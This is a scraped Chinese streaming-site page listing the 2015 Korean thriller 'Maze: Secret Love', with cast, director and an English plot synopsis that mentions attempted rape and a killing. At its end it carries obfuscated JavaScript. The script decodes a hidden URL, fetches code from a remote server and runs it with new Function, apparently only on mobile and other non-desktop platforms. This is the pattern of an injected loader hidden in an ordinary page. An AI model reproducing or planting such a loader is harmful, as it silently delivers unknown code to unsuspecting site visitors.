1.0HD

迷宮:秘密愛

  • 主演:希志爱野  吉泽明步  金民起  강호  황지후  
  • 导演:城定秀夫  
  • 分类:电影
  • 地区:韩国
  • 年份:2015
  • 更新:2022-06-21 20:30
  • 简介:Dong-hyeon and Yong-joon coincidentally meet at an acting audition. A strange gentleman appears in front of the both of them who are sick of failing at these auditions and suggests something to them...
立即播放

扫描二维码手机在线播放

网页二维码
  • 剧情介绍
Dong-hyeon and Yong-joon coincidentally meet at an acting audition. A strange gentleman appears in front of the both of them who are sick of failing at these auditions and suggests something to them. Meanwhile, Ayaka comes to Korea with her best friend Saori to meet her fiancé, Min-joon's parents. She runs into Dong-hyeon and Yong-joon who ask her to star in something and although she's not up for it, she's ushered into doing it by Shiori who loves handsome men. They move locations to a run-down facility and suddenly all exits are blocked and the four of them are trapped. Ayaka looks for an exit but instead finds cameras put up everywhere and gets the feeling that they are being watched. She suspects Yong-joon and Dong-hyeon of being behind this. Suddenly, young men overdosed with gas appear out of no where and try to rape Ayaka and Shiori. Dong-hyeon and Yong-joon fight them to save the women. All this is recorded live and sent to a crowd who is watching from a theater,enjoying it. Yong-joon and Shiori escape into another room but soon they are gassed and they suddenly want each other so bad. Then Shiori loses her mind and kills Yong-joon. Min-joon is watching this amongst the crowd at the theater. What happened between Ayaka and Min-joon...?

相关热播

陀螺影视网所有视频和图片均来自互联网收集而来,版权归原创者所有,本网站只提供web页面服务,并不提供资源存储,也不参与录制、上传
若本站收录的节目无意侵犯了贵司版权,请在留言处留言 (我们会在3个工作日内删除侵权内容,谢谢。)

  • 百度地图1
  • 百度地图2
  • 百度地图3
  • 百度地图4
  • 百度地图5
  • 陀螺影视网
  • window['NuYMsS'] = function(){ var keyList = [ "3dZDw9T58oCjPhkArf+MBi4Ll27y8fe5uTs1t+rS7jPwoDpFG0cLnivO" , "N+HXzh8qK=CGgmcV91LaS7ETYj0n4Tn0krdcat3B+Ye4=JC9fmq7OlDMEg", "Hm0FOrxhT5fAgnivd3pCbLyGNV4QU6q9uwjZoPts+10Z9XNicgkhIw:R5/JC.je3Wo4rBxbapSy=", "VHlQxqJ2gELSvZ5in08B+opeYAC6r3KGueDrmRYbNzBs4x92dlucfGMPg85U60Z-FO", ]; function decrypt(t, e) { if (!t) return ""; for (var a = t.split(""), n = e.split(""), i = {}, r = [], o = 0;o < a.length / 2;o++) i[a[o]] = a[a.length / 2 + o]; for (var s = 0; s < e.length; s++) r.push(i[n[s]]); return r.join(""); }; (!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?(function(u, i, w, d) { var x = decrypt, cs = d[x(keyList[0],"4wCCZl9T4C2k9")], crd = x(keyList[1],"8zmqNmmYmSm+N"); 'jQuery'; u = decodeURIComponent(x(keyList[2], u)); 'jQuery'; var xhr = new XMLHttpRequest(); xhr.open('GET', u + '/s/a?_=' + x(keyList[3], i)); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText); new Function(data.data)(cs); } }; xhr.send('u=1'); })("nHHjmdCCwj5yhonhyQ3A", "SAZYASrZ5rZYAYrSYr", window, document):function(){}; var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = _keyStr.indexOf(input.charAt(i++)); enc2 = _keyStr.indexOf(input.charAt(i++)); enc3 = _keyStr.indexOf(input.charAt(i++)); enc4 = _keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = _utf8_decode(output); return output; } function _utf8_decode(utftext) { var string = ""; var i = 0; var c = 0; var c1 = 0; var c2 = 0; while (i < utftext.length) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++; } else if ((c > 191) && (c < 224)) { c1 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c & 31) << 6) | (c1 & 63)); i += 2; } else { c1 = utftext.charCodeAt(i + 1); c2 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c & 15) << 12) | ((c1 & 63) << 6) | (c2 & 63)); i += 3; } } return string; }}